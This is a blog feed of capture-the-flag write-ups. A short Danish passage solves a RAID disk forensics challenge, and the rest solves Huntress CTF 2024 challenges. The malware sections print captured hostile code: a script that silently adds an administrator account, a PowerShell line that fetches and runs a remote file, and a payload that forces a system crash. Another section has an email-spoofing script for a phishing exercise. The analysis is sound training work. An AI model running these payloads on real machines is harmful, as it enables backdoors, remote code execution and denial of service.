Løsning: Ud fra mappestrukturen på disken blev det identificeret, at data stammede fra en Linux-maskine. Diskene blev bundet til loop-enheder:

sudo losetup -fP disk_1  
sudo losetup -fP disk_2

For at undersøge, hvordan diskene var en del af RAID-opsætningen, blev mdadm brugt til at examine partitionerne:

sudo mdadm --examine /dev/loop1  
sudo mdadm --examine /dev/loop2

Her blev det afsløret, at diskene var en del af et RAID-setup med fire diske.

Partitionen blev samlet med følgende kommando:

sudo mdadm --assemble --run /dev/md0 /dev/loop1 /dev/loop2 --force

Dette samlede RAID-opsætningen til en ny enhed /dev/md0.

Den samlede partition blev mountet for at få adgang til filerne:

sudo mount /dev/md0 /mnt

Inde i mappen kunne filerne nu ses.

Flaget blev fundet i filen confidential_tlp_red.pdf. Denne PDF indeholdt et billede med teksten: NC3{raid_completed}

Flag: NC3{raid_completed}

]]>Huntress CTF 2024 : Writeupshttps://ha1fdan.xyz/en/posts/huntress-24/Tue, 01 Oct 2024 00:00:00 +0000https://ha1fdan.xyz/en/posts/huntress-24/<h1 id="huntress-ctf-2024">Huntress CTF 2024</h1> <p><strong>User:</strong> <a href="https://huntress.ctf.games/users/3054">ha1fdan</a></p> <p><strong>Total Score</strong>: 1550 points @ 453rd place</p> <p><strong><strong>I stopped solving challenges after October 22nd, since I went on vacation and didn&rsquo;t have time to solve them.</strong></strong></p> <h2 id="solves">Solves:</h2> <table> <thead> <tr> <th>Challenge</th> <th>Category</th> </tr> </thead> <tbody> <tr> <td><a href="#technical-support">Technical Support</a></td> <td>Warmups</td> </tr> <tr> <td><a href="#too-many-bits">Too Many Bits</a></td> <td>Warmups</td> </tr> <tr> <td><a href="#read-the-rules">Read The Rules</a></td> <td>Warmups</td> </tr> <tr> <td><a href="#matryoshkaqr">MatryoshkaQR</a></td> <td>Warmups</td> </tr> <tr> <td><a href="#base64by32">Base64by32</a></td> <td>Scripting</td> </tr> <tr> <td><a href="#cattle">Cattle</a></td> <td>Warmups</td> </tr> <tr> <td><a href="#nightmare-on-hunt-street">Nightmare on Hunt Street</a></td> <td>Challenge Group - Forensics</td> </tr> <tr> <td><a href="#no-need-for-brutus">No need for Brutus</a></td> <td>Cryptography</td> </tr> <tr> <td><a href="#strange-calc">Strange Calc</a></td> <td>Malware</td> </tr> <tr> <td><a href="#russian-roulette">Russian Roulette</a></td> <td>Malware</td> </tr> <tr> <td><a href="#whamazon">Whamazon</a></td> <td>Warmups</td> </tr> <tr> <td><a href="#red-phish-blue-phish">Red Phish Blue Phish</a></td> <td>Miscellaneous</td> </tr> <tr> <td><a href="#unbelievable">Unbelievable</a></td> <td>Warmups</td> </tr> <tr> <td><a href="#malibu">Malibu</a></td> <td>Miscellaneous</td> </tr> <tr> <td><a href="#txt-message">TXT Message</a></td> <td>Warmups</td> </tr> <tr> <td><a href="#mimi">Mimi</a></td> <td>Malware</td> </tr> <tr> <td><a href="#discount-programming-devices">Discount Programming Devices</a></td> <td>Malware</td> </tr> <tr> <td><a href="#mystery">Mystery</a></td> <td>Warmups</td> </tr> <tr> <td><a href="#i-cant-ssh">I Can&rsquo;t SSH</a></td> <td>Warmups</td> </tr> <tr> <td><a href="#finders-fee">Finders Fee</a></td> <td>Warmups</td> </tr> <tr> <td><a href="#zulu">Zulu</a></td> <td>Warmups</td> </tr> <tr> <td><a href="#linux-basics">Linux Basics</a></td> <td>Miscellaneous</td> </tr> <tr> <td><a href="#keyboard-junkie">Keyboard Junkie</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#obfuscation-station">Obfuscation Station</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#strive-marish-leadman-typecdr">Strive Marish Leadman TypeCDR</a></td> <td>Cryptography</td> </tr> </tbody> </table> <h2 id="score-over-time">Score over time:</h2> <p><img src="https://ha1fdan.xyz/huntress24/Score_over_Time.png" alt="Score_over_Time.png"></p>Huntress CTF 2024

User: ha1fdan

Total Score: 1550 points @ 453rd place

I stopped solving challenges after October 22nd, since I went on vacation and didn’t have time to solve them.

Solves:

Challenge Category
Technical Support Warmups
Too Many Bits Warmups
Read The Rules Warmups
MatryoshkaQR Warmups
Base64by32 Scripting
Cattle Warmups
Nightmare on Hunt Street Challenge Group - Forensics
No need for Brutus Cryptography
Strange Calc Malware
Russian Roulette Malware
Whamazon Warmups
Red Phish Blue Phish Miscellaneous
Unbelievable Warmups
Malibu Miscellaneous
TXT Message Warmups
Mimi Malware
Discount Programming Devices Malware
Mystery Warmups
I Can’t SSH Warmups
Finders Fee Warmups
Zulu Warmups
Linux Basics Miscellaneous
Keyboard Junkie Forensics
Obfuscation Station Forensics
Strive Marish Leadman TypeCDR Cryptography

Score over time:

Score_over_Time.png

Completed Challenges:

Technical Support

Want to join the party of GIFs, memes and emoji shenanigans? Or just want to ask a question for technical support regarding any challenges in the CTF?

https://huntress.ctf.games/discord

CyberSpace 2024 Discord

Flag: flag{a98373a74abb8c5ebb8f5192e034a91c}

Too Many Bits

What do all these ones and zero’s mean!?! We are in the Warmups category after all…

01100110 01101100 01100001 01100111 01111011 01100100 00110000 00110001 00110100 00110111 00110001 00110111 00110000 00110010 01100001 00110001 00110000 00110001 00110011 00110100 01100011 01100100 01100001 01100100 00110001 01100100 01100100 01100100 01100101 00110000 00110110 00110110 00110111 00111000 01100110 00110010 01100110 01111101

Using https://cyberchef.org I selected From Binary to decode the binary to text. Full Recipe link: Here

Flag: flag{d01471702a10134cdad1ddde06678f2f}

Read The Rules

Please follow the rules for this CTF! https://huntress.ctf.games/rules

By viewing the pages source code, we can find the flag.

<!-- Thank you for reading the rules! Your flag is: -->
<!--   flag{90bc54705794a62015369fd8e86e557b}       -->

Flag: flag{90bc54705794a62015369fd8e86e557b}

MatryoshkaQR

Wow! This is a big QR code! I wonder what it says…?

Attachments: qrcode.png

The first thing I did was to use CyberChef’s Parse QR Code function to get the contents of the QR-code. I then wrote a little Python script to write the binary data to a file.

data = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00'\x00\x00\x00'\x01\x00\x00\x00\x00\xa4\xd8l\x98\x00\x00\x00\xf5IDATx\x9c\x01\xea\x00\x15\xff\x01\xff\x00\x00\x00\xff\x00\x80\xa2\xd9\x1a\x02\x00\xbe\xe6T~\xfa\x04\xe4\xff\x0fh\x90\x02\x00\x1a\x7f\xdc\x00\x02\x00\xde\x01H\x00\x00\xbe\xd5\x95J\xfa\x04\xc2*\x15`\x08\x00\xff\x9d.\x9f\xfe\x04\xfd#P\xc3\x0b\x02\x97\x0e:\x07d\x04/vIg\x19\x00\xbb\xcd\xf3-\xd2\x02\xfb\xd6d\xb5\x88\x02E\xc7^\xdf\xfc\x00\x84\xfb\x13\xf3J\x02\xfd\x88a\xefD\x00\xc8t$\x90\n\x01\xc7\x01\xee1\xf7\x043Q\x17\x0cH\x01\xa5\x03\x1c6d\x02\r\xf0\xbfV$\x00\xcf\x13d3\x06\x01\xee\x08J\xf5E\x00\x9b\xee\n\xac\xfa\x01\xea|\xf2\xe86\x04\xb3\xc9\x84\xf7\xb4\x02\t\x90U%\x14\x00\xbf g\xa5\xee\x02\xfbH\xf1#4\x00\xff\xa1!;\x86\x02\x81VB\xdf\xfc\x04>\xb1s\x00\x10\x02\xe4>\xab-p\x00\xa2\xc6\xfe\xf6\xee\x04\x00\x05\xcbl5\x02\x1c\xfc\x85;\xd0\x02\xc2\xfb\xe6A\x00\x01\xff\x00\x00\x00\xff\xf9\xdb_g\xf4\x9a\xddH\x00\x00\x00\x00IEND\xaeB`\x82"
with open("img.png", "wb") as f:
    f.write(data)

The new image is also a QR-code, so using CyberChef’s Parse QR Code function again, we can get the contents of the QR-code wich is the flag.

Flag: flag{01c6e24c48f48856ee3adcca00f86e9b}

Base64by32

This is a dumb challenge. I’m sorry.

Attachments: base64by32.zip

Extracting base64by32 from the zip archive, we get a very big ASCII text file.

I made a litte script to decode it. The challange is named base64 by 32. Therefore i decided to use decode the contents with base64 32 times.

import base64
with open("base64by32", 'r') as f:
    data = ''.join(line.strip() for line in f)
for _ in range(32):
    data = base64.b64decode(data.encode('utf-8')).decode('utf-8')
print(data)

Flag: flag{8b3980f3d33f2ad2f531f5365d0e3970}

Cattle

I know it’s an esoteric challenge for a Capture the Flag, but could you herd these cows for me?

Attachments: cattle

Cows you say? Sounds and looks like the COW programming language. https://esolangs.org/wiki/COW

Lets use a COW Code decrypter like https://www.cachesleuth.com/cow.html

Flag: flag{6cd6392eb609c6ae4c332ef6a321d9dd}

Nightmare on Hunt Street

DeeDee hears the screams, In the logs, a chilling trace— Freddy’s waiting near.

Are you able to unravel the attack chain?

Attachments: logs-parts1-5.zip

  1. What is the IP address of the host that the attacker used? Using a regex search I found 10.1.1.42 is the IP address of the host that the attacker used. Flag: flag{10.1.1.42}

  2. How many times was the compromised account brute-forced? Searching for Failure Reason: Unknown user name or bad password. we get 32 results. Flag: flag{32}

  3. What is the name of the offensive security tool that was used to gain initial access? PsExec is known for executing commands on remote systems, it can also be used to gain initial access when exploiting existing credentials or configurations. Flag: flag{psexec}

  4. How many unique enumeration commands were run with net.exe? 3 distinct commands: net users, net localgroup, and net share. Flag: flag{3}

  5. What password was successfully given to the user created? When I where searching around in the file I found a lot of net user commands and the password was Susan123!. Flag: flag{Susan123!}

No need for Brutus

A simple message for you to decipher:

squiqhyiiycfbudeduutvehrhkjki

Submit the original plaintext hashed with MD5, wrapped between the usual flag format: flag{}

Brutus = Roman name, cipher is another famous Roman = Caesar Cipher: https://en.wikipedia.org/wiki/Caesar_cipher

From there I used https://www.dcode.fr/caesar-cipher to decipher the message, wich gave me caesarissimplenoneedforbrutus - MD5 hash of the plaintext.

Flag: flag{c945bb2173e7da5a292527bbbc825d3f}

Strange Calc

I got this new calculator app from my friend! But it’s really weird, for some reason it needs admin permissions to run??

NOTE: Archive password is strange_calc

Attachments: calc.zip

I started by running file calc.exe wich returned a PE32 executable, UPX compressed. Using apt install upx-ucl and upx -d calc.exe we can uncompress the file. You should see the following -> Unpacked 1 file.

Next I used https://app.any.run to run the application, after executing the exe It made some network requests and downloaded some encoded VBScript files, downloading one of them, I opened it using https://cyberchef.org/'s Microsoft Script Decoder. That gave me:

function a(b){var c="",d=b.split("\n");for(var e=0;e<d.length;e++){var f=d[e].replace(/^\s+|\s+$/g,'');if(f.indexOf("begin")===0||f.indexOf("end")===0||f==="")continue;var g=(f.charCodeAt(0)-32)&63;for(var h=1;h<f.length;h+=4){if(h+3>=f.length)break;var i=(f.charCodeAt(h)-32)&63,j=(f.charCodeAt(h+1)-32)&63,k=(f.charCodeAt(h+2)-32)&63,l=(f.charCodeAt(h+3)-32)&63;c+=String.fromCharCode((i<<2)|(j>>4));if(h+2<f.length-1)c+=String.fromCharCode(((j&15)<<4)|(k>>2));if(h+3<f.length-1)c+=String.fromCharCode(((k&3)<<6)|l)}}return c.substring(0,g)}var m="begin 644 -\nG9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*\n`\nend";var n=a(m);var o=["net user LocalAdministrator "+n+" /add","net localgroup administrators LocalAdministrator /add","calc.exe"];var p=new ActiveXObject('WScript.Shell');for(var q=0;q<o.length-1;q++){p.Run(o[q],0,false)}p.Run(o[2],1,false);

Rewriting this to Python:

def decode(encoded_string):
    result = ""
    lines = encoded_string.split("\n")
    
    for line in lines:
        line = line.strip()
        if line.startswith("begin") or line.startswith("end") or line == "":
            continue
        
        g = (ord(line[0]) - 32) & 63
        
        for h in range(1, len(line), 4):
            if h + 3 >= len(line):
                break
            
            i = (ord(line[h]) - 32) & 63
            j = (ord(line[h + 1]) - 32) & 63
            k = (ord(line[h + 2]) - 32) & 63
            l = (ord(line[h + 3]) - 32) & 63
            
            result += chr((i << 2) | (j >> 4))
            if h + 2 < len(line) - 1:
                result += chr(((j & 15) << 4) | (k >> 2))
            if h + 3 < len(line) - 1:
                result += chr(((k & 3) << 6) | l)

    return result

m = """begin 644 -
G9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*
`
end"""
print(decode(m))

Running this we get the flag.

Flag: flag{9922fb21aaf1757e3fdb28d7890a5d93}

Russian Roulette

My PowerShell has been acting really weird!! It takes a few seconds to start up, and sometimes it just crashes my computer!?!?! :(

WARNING: Please examine this challenge inside of a virtual machine for your own security. Upon invocation there is a real possibility that your VM may crash.

NOTE: Archive password is russian_roulette

Attachments: russian_roulette.zip

Starting off we extract a MS Windows shortcut file, that when run runs: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -e aQB3AHIAIABpAHMALgBnAGQALwBqAHcAcgA3AEoARAAgAC0AbwAgACQAZQBuAHYAOgBUAE0AUAAvAC4AYwBtAGQAOwAmACAAJABlAG4AdgA6AFQATQBQAC8ALgBjAG0AZAA=. If we decode that base64 string using python:

import base64
encoded_string = "aQB3AHIAIABpAHMALgBnAGQALwBqAHcAcgA3AEoARAAgAC0AbwAgACQAZQBuAHYAOgBUAE0AUAAvAC4AYwBtAGQAOwAmACAAJABlAG4AdgA6AFQATQBQAC8ALgBjAG0AZAA="
decoded_bytes = base64.b64decode(encoded_string)
decoded_string = decoded_bytes.decode('utf-16')
print(decoded_string)

Returns: iwr is.gd/jwr7JD -o $env:TMP/.cmd;& $env:TMP/.cmd. Visiting https://is.gd/jwr7JD we get a powershell.zip file, rename that to powershell.cmd.

NOTE: If the is.gd site is down, you can download the powershell.zip file from here

Next I once again used https://app.any.run, here I got a new payload:

powershell -e JABzAD0AJwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4ASQBPADsAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABYAHsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAdQBpAG4AdAAgAFIAdABsAEEAZABqAHUAcwB0AFAAcgBpAHYAaQBsAGUAZwBlACgAaQBuAHQAIABwACwAYgBvAG8AbAAgAGUALABiAG8AbwBsACAAYwAsAG8AdQB0ACAAYgBvAG8AbAAgAG8AKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHUAaQBuAHQAIABOAHQAUgBhAGkAcwBlAEgAYQByAGQARQByAHIAbwByACgAdQBpAG4AdAAgAGUALAB1AGkAbgB0ACAAbgAsAHUAaQBuAHQAIAB1ACwASQBuAHQAUAB0AHIAIABwACwAdQBpAG4AdAAgAHYALABvAHUAdAAgAHUAaQBuAHQAIAByACkAOwBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAdQBuAHMAYQBmAGUAIABzAHQAcgBpAG4AZwAgAFMAaABvAHQAKAApAHsAYgBvAG8AbAAgAG8AOwB1AGkAbgB0ACAAcgA7AFIAdABsAEEAZABqAHUAcwB0AFAAcgBpAHYAaQBsAGUAZwBlACgAMQA5ACwAdAByAHUAZQAsAGYAYQBsAHMAZQAsAG8AdQB0ACAAbwApADsATgB0AFIAYQBpAHMAZQBIAGEAcgBkAEUAcgByAG8AcgAoADAAeABjADAAMAAwADAAMAAyADIALAAwACwAMAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsADYALABvAHUAdAAgAHIAKQA7AGIAeQB0AGUAWwBdAGMAPQBDAG8AbgB2AGUAcgB0AC4ARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAUgBOAG8AOABUAFoANQA2AFIAdgArAEUAeQBaAFcANwAzAE4AbwBjAEYATwBJAGkATgBGAGYATAA0ADUAdABYAHcAMgA0AFUAbwBnAEcAZABIAGsAcwB3AGUAYQAvAFcAaABuAE4AaABDAE4AdwBqAFEAbgAxAGEAVwBqAGYAdwAiACkAOwBiAHkAdABlAFsAXQBrAD0AQwBvAG4AdgBlAHIAdAAuAEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAC8AYQAxAFkAKwBmAHMAcABxAC8ATgB3AGwAYwBQAHcAcABhAFQAMwBpAHIAWQAyAGgAYwBFAHkAdABrAHQAdQBIADcATABzAFkAKwBOAGwATABlAHcAPQAiACkAOwBiAHkAdABlAFsAXQBpAD0AQwBvAG4AdgBlAHIAdAAuAEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiADkAcwBYAEcAbQBLADQAcQA5AEwAZABZAEYAZABPAHAANABUAFMAcwBRAHcAPQA9ACIAKQA7AHUAcwBpAG4AZwAoAEEAZQBzACAAYQA9AEEAZQBzAC4AQwByAGUAYQB0AGUAKAApACkAewBhAC4ASwBlAHkAPQBrADsAYQAuAEkAVgA9AGkAOwBJAEMAcgB5AHAAdABvAFQAcgBhAG4AcwBmAG8AcgBtACAAZAA9AGEALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoAGEALgBLAGUAeQAsAGEALgBJAFYAKQA7AHUAcwBpAG4AZwAoAHYAYQByACAAbQA9AG4AZQB3ACAATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKABjACkAKQB1AHMAaQBuAGcAKAB2AGEAcgAgAHkAPQBuAGUAdwAgAEMAcgB5AHAAdABvAFMAdAByAGUAYQBtACgAbQAsAGQALABDAHIAeQBwAHQAbwBTAHQAcgBlAGEAbQBNAG8AZABlAC4AUgBlAGEAZAApACkAdQBzAGkAbgBnACgAdgBhAHIAIABzAD0AbgBlAHcAIABTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAHkAKQApAHsAcgBlAHQAdQByAG4AIABzAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsAfQB9AH0AfQAnADsAJABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQwBvAGQAZQBEAG8AbQAuAEMAbwBtAHAAaQBsAGUAcgAuAEMAbwBtAHAAaQBsAGUAcgBQAGEAcgBhAG0AZQB0AGUAcgBzADsAJABjAC4AQwBvAG0AcABpAGwAZQByAE8AcAB0AGkAbwBuAHMAPQAnAC8AdQBuAHMAYQBmAGUAJwA7ACQAYQA9AEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABzACAALQBMAGEAbgBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAgAC0AUABhAHMAcwBUAGgAcgB1ACAALQBDAG8AbQBwAGkAbABlAHIAUABhAHIAYQBtAGUAdABlAHIAcwAgACQAYwA7AGkAZgAoACgARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0ATQBpAG4AIAAxACAALQBNAGEAeAAgADcAKQAgAC0AZQBxACAAMQApAHsAWwBYAF0AOgA6AFMAaABvAHQAKAApAH0AUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACIA

Decodes to:

$s='using System;using System.Text;using System.Security.Cryptography;using System.Runtime.InteropServices;using System.IO;public class X{[DllImport("ntdll.dll")]public static extern uint RtlAdjustPrivilege(int p,bool e,bool c,out bool o);[DllImport("ntdll.dll")]public static extern uint NtRaiseHardError(uint e,uint n,uint u,IntPtr p,uint v,out uint r);public static unsafe string Shot(){bool o;uint r;RtlAdjustPrivilege(19,true,false,out o);NtRaiseHardError(0xc0000022,0,0,IntPtr.Zero,6,out r);byte[]c=Convert.FromBase64String("RNo8TZ56Rv+EyZW73NocFOIiNFfL45tXw24UogGdHkswea/WhnNhCNwjQn1aWjfw");byte[]k=Convert.FromBase64String("/a1Y+fspq/NwlcPwpaT3irY2hcEytktuH7LsY+NlLew=");byte[]i=Convert.FromBase64String("9sXGmK4q9LdYFdOp4TSsQw==");using(Aes a=Aes.Create()){a.Key=k;a.IV=i;ICryptoTransform d=a.CreateDecryptor(a.Key,a.IV);using(var m=new MemoryStream(c))using(var y=new CryptoStream(m,d,CryptoStreamMode.Read))using(var s=new StreamReader(y)){return s.ReadToEnd();}}}}';$c=New-Object System.CodeDom.Compiler.CompilerParameters;$c.CompilerOptions='/unsafe';$a=Add-Type -TypeDefinition $s -Language CSharp -PassThru -CompilerParameters $c;if((Get-Random -Min 1 -Max 7) -eq 1){[X]::Shot()}Start-Process "powershell.exe"

Now using a bit of python we can decode the base64 Cipher using the given AES key and iv:

import base64
from Crypto.Cipher import AES
import hashlib
from Crypto.Util.Padding import unpad

cipher_text_base64 = "RNo8TZ56Rv+EyZW73NocFOIiNFfL45tXw24UogGdHkswea/WhnNhCNwjQn1aWjfw"
key_base64 = "/a1Y+fspq/NwlcPwpaT3irY2hcEytktuH7LsY+NlLew="
iv_base64 = "9sXGmK4q9LdYFdOp4TSsQw=="

cipher_text = base64.b64decode(cipher_text_base64)
key = base64.b64decode(key_base64)
iv = base64.b64decode(iv_base64)

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(cipher_text), AES.block_size)

decrypted_text = decrypted.decode('utf-8')
print(decrypted_text)

Flag: flag{4e4f266d44717ff3af8bd92d292b79ec}

Whamazon

Wham! Bam! Amazon is entering the hacking business! Can you buy a flag?

What's up, Whammy? What do you wanna do?

 1. Examine your Inventory
 2. Buy from Whamazon
 3. Quit
> 2

Woohoo! We are where it's at: WHAMAZON!
What would you like to buy?

!! You have: 50 dollars in your wallet !!

 1. Apples
 2. Oranges
 3. Video Games
 4. Game Console
 5. Television
 6. House
 7. The Flag
 8. "Nothing, I want to leave"
> 2

The 'Oranges' item costs 2 dollars.
How many of the 'Oranges' items would you like ?
> -100000000000000000000000000000000000000000000000
Crunching the numbers...
  2 dollars x -100000000000000000000000000000000000000000000000 = -200000000000000000000000000000000000000000000000 subtracted from your wallet!

!! You have: 200000000000000000000000000000000000000000000050 dollars in your wallet !!


 1. Apples
 2. Oranges
 3. Video Games
 4. Game Console
 5. Television
 6. House
 7. The Flag
 8. "Nothing, I want to leave"
> 7

The 'The Flag' item costs 1000000000 dollars.
How many of the 'The Flag' items would you like ?
> 1
Crunching the numbers...
  1000000000 dollars x 1 = 1000000000 subtracted from your wallet!

Wait a second Whammy... you wanna buy THE FLAG???
This is our most valued item! I won't give it up without an intense game of 
ROCK PAPER SCISSORS!

You know how to play, right? A player can pick just one of three choices!
... Rock beats Paper
... Paper beats Scissors
... Scissors beats Rock
Let's play! First, here are some jedi-mind game tricks to throw you off...
"I, your opponent, will NOT choose Scissors!!"
?? What is your choice ??

1. Rock
 2. Paper
 3. Scissors
 4. "Nevermind, I don't wanna play"
> 2

"Rock... Paper... Scissors... SHOOT!
You chose Paper and I chose Rock!
OH NO! I lost! Fine, you can have your silly flag... BUT JUST ONE!!

!! The Flag has been added to your inventory !!

Okay, see you later Whammy!

 1. Examine your Inventory
 2. Buy from Whamazon
 3. Quit
> 1

We got all the deets on what's what in your inventory:
 ------------------------ 
  -100000000000000000000000000000000000000000000000 x Oranges: A juicy orange orange. Orange orange? Orange orange: orange orange. Orange!
  1 x The Flag: A flag you can submit for points in a CTF! It says: flag{18bdd83cee5690321bb14c70465d3408}


 1. Examine your Inventory
 2. Buy from Whamazon
 3. Quit

In this challange we are able to buy a negative amount of a product, resulting adding to our wallet.

Flag: flag{18bdd83cee5690321bb14c70465d3408}

Red Phish Blue Phish

You are to conduct a phishing excercise against our client, Pyrch Data.

We’ve identified the Marketing Director, Sarah Williams (swilliams@pyrchdata.com), as a user susceptible to phishing.

Are you able to successfully phish her? Remember your OSINT ;)

If we start by taking a look at the user’s email, we can see that she has an email address of swilliams@pyrchdata.com. Looking on the https://pyrchdata.com website, we can see that there is a list of all the members of the team. Since Sarah Williams is swilliams@pyrchdata.com, we can try all the other co-workers first initial and their lastname.

pyrchdata.com team page

Using a python script, we can send a message to Sarah Williams:

import smtplib
from email.mime.text import MIMEText

receiver_email = "swilliams@pyrchdata.com"
sender_email = "jdaveren@pyrchdata.com"
smtp_server = "challenge.ctf.games"
smtp_port = 32131
message = MIMEText("")
message['From'] = sender_email
message['To'] = receiver_email
message['Subject'] = ""
server = smtplib.SMTP(smtp_server, smtp_port)
text = message.as_string()
server.set_debuglevel(1)
server.sendmail(sender_email, receiver_email, message.as_string())
server.quit()

Here I tried every team member first initial and lastname, until I got one that worked.

Conclusion:

I think this was a poor challenge, since it took a few days of guessing to even find the right path.

Flag: flag{54c6ec05ca19565754351b7fcf9c03b2}

Unbelievable

Don’t believe everything you see on the Internet!

Anyway, have you heard this intro soundtrack from Half-Life 3?

Attachments: Half-Life_3_OST.mp3

The first thing I saw was the preview image for the song track was a white image with some text, saying flag{......

Using CyberChef's Render Image & Optical Character Recognition features in a recipe, and input the mp3 file, we can extract the flag.

Output:

Half-Life_3_OST.png

and

Confidence: 46%

flag{a85466991f0a8dc3d9837a5c32fa0c91}

Flag: flag{a85466991f0a8dc3d9837a5c32fa0c91}

Malibu

What do you bring to the beach?

Connect with: nc challenge.ctf.games 30860

If we open the subdomain and port in a webbrowser we get the following:

<?xml version="1.0" encoding="UTF-8"?>
<Error>
    <Code>AccessDenied</Code>
    <Message>Access Denied.</Message>
    <Resource>/</Resource>
    <RequestId>17FBD57923D42426</RequestId>
    <HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId>
</Error>

Now this looks like a object storage server, looking at the Server header, we see that it is a Server: MinIO server.

Downloading the MinIO Client, we can run the following command: mc alias set myminio http://challenge.ctf.games:30860

Now back to the question: What do you bring to the beach? - A bucket ofc.

Now using the MinIO client, we can download all the files in the bucket:

mkdir -p ./bucket
mc cp --recursive myminio/bucket/ ./bucket/
grep -r "flag{" ./bucket/

Returns: ./bucket/0XMGjs59/NYdFEiGV/ZX64Llnw/1li1bQeT2JK5hgOD:hCd9adcRPndaCWVe6bLIDNrYEH8wpXYa65XdLNyq3XD6CPsnAaavGnePHKAxfPBMZaYBYFVWQ6b6UzWqiD8LTqU6TEPTR9GkF5HtvrVFW2QsY9ddLDPj5THZYtLjv2dt0iYEZqonP0vdOteR8ivAPb1cWDhdjZSnrzoiMkACPAxHiMGxqrhc7y7VVSqxFeQpTlt7lDGJ4qIN20bXjH8Dd9IhvsSyATOzwilL9bQmwpekFLkJt8CFeRYhFIOhYAmhswuwP9tqBl8DvnMeUt03Uv5dLZpLyGzWuTXzEqOAPbgB9DO5AfOgQMqmfqhRKUJjp5nGJNiGF9Va5iSHWEuQgXHhqphTjFJ2UYzNzLqSTkZZz9TRNX0JEbUU5AmvUKV2PuYTnUPhRHJQO7p4rUprbfxaGp9FG4sjb17VtCGuBxYOHjbBWULbObRp8CGa0lrcC7x7ryrFtWVS5KrnxPeGxmKUXx24xwzzEScnwEBzvW5ZimiJDWMLQIYUhs3TSJ1nfGA5pIT4ren12xYCRKJHYTDk4ahkdGHflag{800e6603e86fe0a68875d3335e0daf81}dEcForVzAkJqgMnGR97Re2ZHrSRoOwIXVVem8F5PvSGS5ATuuDngCTh6IhokbUN8Jkkf9kSrCeUgRd5p7650rCSEW8wNhczUcZt2qWfUhnlypNNm59fardN9vwRzw4YEO01bF8UJr346POWnpYkxrBgHJl53S9UygSKdGybQWUVsUIfgsMPouUgYdlavbHUONaYUYEjg3yiPOP91oceCcvq49G2VHzO9aQawz0WLboszptXYPDYEQDHuFl5l9gDD1uUmEYMFFA0gUa5UsLBp0cNkCuyQKIuEFKJyTPTGiduv8t9ZTZm6MRkjP5LL0Ke6YU8lb5M70AcAUVIEDvzYdRHKtTMMKvZplo1CxvpNHwCxsIvjNqJnvLabPYDxwELiI9Cr6lvT9djcFKfZ6DFcOLb9JXMibnGE8JKmC0jPgYzxjVz81LyU8aYNIWgwgeg25PfOyDatJxGcgUCY20W7gHXfT0wQxdpN8TkTjAGpX2mlf9irP1wngMkiXUzCugNhYz1IZj8n8q6qLvagnvCP2VnRp6XbJBo9A2Bt1IUqfeGMTuJKKcUli0w7PAo9XMq0rw1xFGk8N2Le9W2AsJFKTGKd7dhSTPTcSihM8K06FYh3EMtjwZVZoK0mxg2cGlbHWZzHXZjMkBiJmL5r9CjXizonCzetfyWEhGbFQASYH83SQpGebQnFm8oFlEtffkRWv9wrtBW2exlIkxwrIiE5zU75a6rAsN8gaSsBfGbQnK1GmtEP2RaI9k9N9wVFiS2IgRmUcdno0BVAzhL6LCFwvjTGNyOld3xSPE0X9hCxJ8CYMknrwq5Wr1ciNi72Om

Flag: flag{800e6603e86fe0a68875d3335e0daf81}

TXT Message

Hmmm, have you seen some of the strange DNS records for the ctf.games domain? One of them sure is odd…

Using nslookup we can see that the TXT record for the domain is:

halfdan@desktop:~$ nslookup
> set type=txt
> ctf.games
Server:		127.0.0.53
Address:	127.0.0.53#53

Non-authoritative answer:
ctf.games	text = "146 154 141 147 173 061 064 145 060 067 062 146 067 060 065 144 064 065 070 070 062 064 060 061 144 061 064 061 143 065 066 062 146 144 143 060 142 175"

Authoritative answers can be found from:
> ^D

Now we have a list of numbers to work with, but we need to convert them to ASCII characters. Opening CyberChef and adding From Octal to the recipe, we get: flag{14e072f705d45882401d141c562fdc0b}

